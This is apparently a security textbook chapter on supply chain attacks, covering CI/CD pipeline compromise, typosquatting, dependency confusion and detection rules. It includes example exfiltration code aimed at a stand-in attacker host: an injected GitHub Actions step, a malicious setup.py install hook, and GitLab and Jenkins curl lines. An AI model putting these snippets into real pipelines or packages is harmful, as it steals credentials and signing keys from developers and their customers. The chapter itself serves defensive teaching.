Chapter 220

Supply Chain and Software Security

Supply chain attacks compromise a trusted upstream component to reach downstream victims at scale. The payload is delivered through a legitimate, verified channel — a signed software update, a published npm package, a CI/CD pipeline — so traditional defenses (code signing, package verification) fail by design. Detection requires monitoring the behavior of legitimate software for anomalous post-install or post-update activity, which represents a fundamentally different detection surface than traditional malware.

Scenario

An attacker targets a software vendor whose product is deployed on 5,000 corporate endpoints. They compromise the vendor's GitHub Actions CI/CD pipeline by stealing a deploy token from a developer's workstation. Their goal: inject malicious code into the next build, sign it with the vendor's legitimate signing certificate, and deploy it via the vendor's auto-update mechanism to all customers.

Build Pipeline Attack

SOFTWARE BUILD PIPELINE — ATTACK SURFACE ═══════════════════════════════════════════════════════════════════════ Developer workstation → git push → GitHub → CI runner → Build artifacts → Signing → CDN → Customer update ATTACK POINTS: ┌────────────────────────────────────────────────────────────────────┐ │ A. Developer workstation compromise │ │ → steal git credentials, CI/CD API tokens, signing key │ │ │ │ B. Source code repository compromise │ │ → PR injection with malicious code in rarely-reviewed file │ │ → Dependency confusion: inject malicious package at higher │ │ version number than internal package (npm/pip resolves it) │ │ │ │ C. CI/CD pipeline compromise (GitHub Actions, Jenkins, GitLab CI) │ │ → Modify workflow YAML to exfil secrets, add build step │ │ → Steal ACTIONS_RUNTIME_TOKEN or deploy keys from env vars │ │ │ │ D. Build artifact storage compromise (S3/CDN) │ │ → Replace signed artifact with malicious version │ │ → Requires stealing signing cert or replacing it │ │ │ │ E. Update server compromise │ │ → Serve malicious update to clients without source change │ └────────────────────────────────────────────────────────────────────┘ ═══════════════════════════════════════════════════════════════════════
// GitHub Actions workflow YAML: attacker injects malicious step after repo access
# Injected into legitimate .github/workflows/build.yml:
name: Build
on: [push]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Build
        run: make release
      # INJECTED STEP: exfil secrets from runner environment
      - name: Diagnostics
        run: |
          env | base64 | curl -s -X POST -d @- https://attacker[.]com/collect
          cat ~/.aws/credentials 2>/dev/null | curl -s -X POST -d @- https://attacker[.]com/aws
      - name: Sign and publish
        env:
          SIGNING_KEY: ${{ secrets.CODE_SIGN_KEY }}
        run: |
          # Legitimate signing step — attacker has already captured SIGNING_KEY above
          codesign --key "$SIGNING_KEY" dist/product.exe

# Detection: GitHub audit log shows workflow file modified by non-owner account
# GitHub: Repository → Security → Actions → audit log: 'workflow_run' events from new IP

Package Typosquatting and Dependency Confusion

# Typosquatting: register package names similar to popular packages
# cross-env → crossenv (malicious version published 2021)
# lodash → l0dash, lodash-utils
# requests (Python) → request, requestz
#
# Malicious package executes payload in setup.py (Python) or install script (npm):

# MALICIOUS setup.py (Python typosquat):
from setuptools import setup
import subprocess, os, platform, base64

def exfil():
    try:
        import socket, getpass
        data = f"{getpass.getuser()}@{socket.gethostname()} [{platform.system()}]"
        import urllib.request
        urllib.request.urlopen(
            f"http://attacker[.]com/c?d={base64.b64encode(data.encode()).decode()}",
            timeout=3
        )
    except Exception:
        pass

exfil()
setup(name='requestz', version='2.28.1', ...)

# DEPENDENCY CONFUSION attack (Alex Birsan, 2021):
# Internal npm package: @corp/internal-utils (published to private registry)
# Attacker publishes: internal-utils (WITHOUT @corp scope) to public npm registry
#   at version 9999.0.0 (higher than any internal version)
# npm install resolves public registry first when scope not specified
# → installs attacker's version on developer machines and CI/CD
# Fix: use explicit scope @corp/internal-utils always, and registry scoping in .npmrc

CI/CD Secret Extraction

// GitHub Actions: secrets available as environment variables in runner
// Steal via: env command, /proc/self/environ, or secret-specific reads
// ACTIONS_RUNTIME_TOKEN: scoped to the workflow run; can access artifact storage
// secrets.* : user-defined secrets; visible to steps in same job if printed

// Post-compromise from stolen deploy token:
// gh auth login --with-token <<< "TOKEN"
// gh release create v1.0.1 --title "Security Update" --notes "fix" malicious.exe
// → creates authenticated GitHub release from attacker's machine using stolen token

// GitLab CI variable exfil:
// - name: Exfil
//   run: |
//     curl -s -X POST -d "$(env | grep -i secret)" https://attacker[.]com/exfil

// Jenkins credential theft via Groovy script console:
// node {
//   withCredentials([string(credentialsId: 'DEPLOY_KEY', variable: 'KEY')]) {
//     sh "curl -X POST https://attacker[.]com/c -d '\$KEY'"
//   }
// }

// Detection: CI/CD audit logs (GitHub, GitLab, Jenkins all have API audit trails)
// Alert: workflow file modified in last 24h (diff between runs)
// Alert: new IP address accessing signing key or deploy credential
// Alert: release created outside of normal release pipeline timing

SBOM and Software Composition Analysis

Tool / StandardPurposeDetects
SBOM (SPDX/CycloneDX)Machine-readable inventory of all dependenciesKnown-vulnerable dependencies via CVE database match
Sigstore / cosignTransparent log of package signatures (like Certificate Transparency)Unsigned or re-signed packages; supply chain substitution
npm audit / pip auditKnown vulnerability scan of installed packagesCVE in direct and transitive dependencies
Dependabot / RenovateAutomated PR for dependency updatesOutdated dependencies with available patch
Socket.dev / SnykBehavioral analysis of package codeNetwork calls, eval(), obfuscation in install scripts

Detection Engineering

title: Suspicious Network Call During Package Installation
logsource:
  product: windows
  service: sysmon
detection:
  install_process:
    EventID: 3
    Image|endswith:
      - '\python.exe'
      - '\pip.exe'
      - '\npm.exe'
      - '\node.exe'
    Initiated: 'true'
    DestinationPort|ne: 443  # outbound non-HTTPS during install
  condition: install_process
level: medium
tags: [attack.initial_access, T1195.001]

title: CI/CD Pipeline — Workflow File Modified Outside Release Process
description: .github/workflows/*.yml changed by non-service account
logsource:
  product: github
  service: audit_log
detection:
  selection:
    action: 'workflows.created_workflow_run'
    actor_not_in_allowlist: 'true'
  condition: selection
level: high

-- MDE KQL: software update binary executing unexpected network connection
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "product-updater.exe"
| where RemoteUrl !has "vendor-cdn.example.com"  // known update server
| where RemotePort == 443
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessCommandLine

-- MDE KQL: signed binary spawning unexpected child (trojanized update behavior)
DeviceProcessEvents
| where InitiatingProcessSignerType == "Signed"
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","powershell.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","mshta.exe")
| where ProcessCommandLine has_any ("-enc","hidden","bypass","IEX")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine

Q&A

Dependency confusion attacks exploit how package managers resolve naming conflicts between private and public registries. What is the precise resolution rule that npm uses that creates the vulnerability, and what configuration change definitively closes it?

npm's package resolution rule is: when installing a package without a scope prefix (e.g., npm install internal-utils), npm queries the configured registries in order and installs the highest version number found across all of them. If the organization's private registry has internal-utils@1.0.0 and an attacker publishes internal-utils@9999.0.0 to the public npm registry, npm will install version 9999.0.0 from the public registry — because it is the highest version number — regardless of which registry is listed first in the configuration. The version number wins, not the registry order.

There are two configuration changes that definitively close the gap. The first is scoped packages: rename all internal packages to use an organization scope prefix (@corp/internal-utils). Scope-prefixed packages resolve against the registry configured for that scope, specified in .npmrc as @corp:registry=https://private.registry.example.com/. An attacker cannot publish a package named @corp/internal-utils to the public npm registry because the @corp scope must be reserved by the corp organization on npm. This is the recommended fix from the original Birsan disclosure.

The second is registry scoping with block-for-unknown-packages: configure npm to only allow installing packages that are explicitly listed in the internal registry and to refuse resolution from the public registry for unlisted packages. Some private registry software (Artifactory, Azure Artifacts) supports a "virtual repository" mode that merges public and private registries but can be configured to always prefer internal packages regardless of version, or to block download of packages not explicitly allowlisted. Both controls together — scope prefix naming and registry-level blocking — provide defense in depth: scope prevents the confusion attack, and registry blocking prevents any non-vetted package from installing even if a developer uses the wrong naming.